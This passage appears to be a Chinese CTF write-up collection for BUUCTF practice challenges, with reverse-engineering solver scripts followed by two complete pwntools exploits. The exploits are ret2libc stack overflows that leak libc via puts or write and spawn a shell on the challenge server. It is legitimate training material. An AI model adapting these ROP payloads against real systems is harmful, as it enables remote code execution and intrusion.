a[3]=1762035534ul;
foru(i,0,31){
a[i+4]=a[i]^fuck(a[i+1]^a[i+2]^a[i+3]^unk[31-i]);
}
char *c=(char *)&a[32];
ford(i,15,0)printf("%c",c[i]);
}
看别人WP说这是SM4。。。还是我见识短浅。。。。
[GWCTF 2019]re3
IDA打开
首先是一个xor 0x99的smc解密,接下来一个函数没看懂,生成了一个表。
解密之后的函数:
函数里发现了AES的S盒,table应该是秘钥,
动态dump出table:
将最终对比的数据AES解密得到flag
[V&N2020 公开赛]strangeCpp
2020年4月3日:鸽子选手回来啦
对0x140021008处的bytes数组查看交叉引用,发现关键代码,逆向即可。
[BJDCTF2020]JustRE
查看可疑字符串的交叉引用,补上199990就好
[ACTF新生赛2020]easyre
无修改upx壳,脱壳,IDA打开,发现是简单的古典密码映射
#include<cstdio>
#include<cstring>
#include<cstdlib>
#include<algorithm>
#include<cmath>
using namespace std;
typedef long long LL;
#define foru(i,a,b) for(int i=a;i<=b;i++)
#define ford(i,a,b) for(int i=a;i>=b;i--)
char table[]="~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>="
"<;:9876543210/.-,+*)('&%$# !\"";
char str[]="*F'\"N,\"(I?+@";
int main(){
foru(i,0,strlen(str)-1)
foru(j,0,strlen(table)-1)
if(table[j]==str[i])
printf("%c",j+1);
}
[BJDCTF2020]BJD hamburger competition
根据熟知的游戏逆向常识,直接逆Assembly-CSharp.dll
dnspy打开,发现SHA和MD5函数
简单的运算可以发现secret是1001
算MD5前20位即可
[GWCTF 2019]xxor
关键代码运算可逆,写如下脚本:
#include<cstdio>
#include<cstring>
#include<cstdlib>
#include<algorithm>
#include<cmath>
using namespace std;
typedef long long LL;
#define foru(i,a,b) for(int i=a;i<=b;i++)
#define ford(i,a,b) for(int i=a;i>=b;i--)
unsigned int a[6]={3746099070ul,550153460ul,3774025685ul,
1548802262ul,2652626477ul,2230518816ul};
unsigned int b[4]={2,2,3,4};
int sum=0;
void print(char *x){
ford(i,2,0)printf("%c",x[i]);
}
void solve(unsigned int x,unsigned int y){
int t=sum;
foru(i,1,64){
y-=(x+t+20)^((x<<6)+b[2])^((x>>9)+b[3])^0x10;
x-=(y+t+11)^((y<<6)+b[0])^((y>>9)+b[1])^0x20;
t-=1166789954;
}
print((char *)&x);print((char *)&y);
}
int main(){
foru(i,1,64)sum+=1166789954;
solve(a[0],a[1]);
solve(a[2],a[3]);
solve(a[4],a[5]);
}
[BJDCTF2020]easy
直接把main函数中的system函数patch成ques函数,运行程序即可。
[GUET-CTF2019]number_game
将输入的字符串建成一棵二叉树
然后跑一次中序遍历
然后填数独
14#23
30#1#
0#23#
#3##0
42##1
14023
30412
01234
23140
42301
逆推回去就是这样,需要小学学过的数据结构常识
0123456789
7381940526
0421421430
1134240024
PWN
ciscn_2019_c_1
elf文件中没有system,需要泄露libc基址,题目的libc在buuoj的Links中有提供。
通过puts函数泄露基址,然后构造rop链调用sh
from pwn import *
def encrypt(string):
newstr = list(string)
for i in range(len(newstr)):
c = ord(string[i])
if c <= 96 or c > 122:
if c <= 64 or c > 90:
if c > 47 and c <= 57:
c ^= 0xF
else:
c ^= 0xE
else:
c ^= 0xD
newstr[i] = chr(c)
return ''.join(newstr)
io=0
def isDebug(debug):
global io
if debug:
io = process('./ciscn_2019_c_1')
else:
io = remote('node3.buuoj.cn',29757)
def pwn():
libc=ELF("./libc-2.27.so")
elf=ELF("./ciscn_2019_c_1")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
mainaddr=elf.symbols["main"]
pop_rdi=0x400c83
binsh=0x1b3e9a
payload='a'*88+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(mainaddr)
io.recvuntil("Input your choice!\n")
io.sendline("1")
io.recvuntil("Input your Plaintext to be encrypted\n")
io.sendline(encrypt(payload))
io.recvuntil("@\n")
puts_addr=u64(io.recv(6).ljust(8,'\x00'))
base=puts_addr-libc.sym["puts"]
sys_addr=base+libc.sym["system"]
binsh+=base
payload='a'*88+p64(0x4006b9)+p64(pop_rdi)+p64(binsh)+p64(sys_addr)
io.recvuntil("Input your choice!\n")
io.sendline("1")
io.recvuntil("Input your Plaintext to be encrypted\n")
io.sendline(payload)
io.interactive()
if __name__ == '__main__':
isDebug(0)
pwn()
[OGeek2019]babyrop
IDA打开,首先读入一个字符串,并与随机字符串比较
用截断符绕过比较,溢出使返回值为0xff。下一个函数读入上一个函数返回值长度的字符串,进行栈溢出,流程与上一题基本一样,要注意一下32位的传参方式。
exp:
from pwn import *
import pwnlib
io=0
def isDebug(debug):
global io
if debug:
io = process('./pwn')
else:
io = remote('node3.buuoj.cn',28012)
def debug(addr = '0x8048884'):
gdb.attach(io, "b *" + addr)
def pwn():
payload = '\x00'*7+'\xff'
#debug()
io.sendline(payload)
#gdb.attach(io)
io.recvuntil("Correct\n")
elf=ELF("./pwn")
libc=ELF("libc-2.23.so")
write_plt=elf.plt["write"]
write_got=elf.got["write"]
main=0x8048825
payload='a'*235+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
io.sendline(payload)
write_addr=u32(io.recv(4))
base=write_addr-libc.sym["write"]
sys_addr=base+libc.sym["system"]
binsh=0x15902b+base
payload = '\x00'*7+'\xff'
io.sendline(payload)
io.recvuntil("Correct\n")
payload = 'a'*235+p32(sys_addr)+p32(main)+p32(binsh)
io.sendline(payload)
io.interactive()
if __name__ == '__main__':
isDebug(0)
pwn()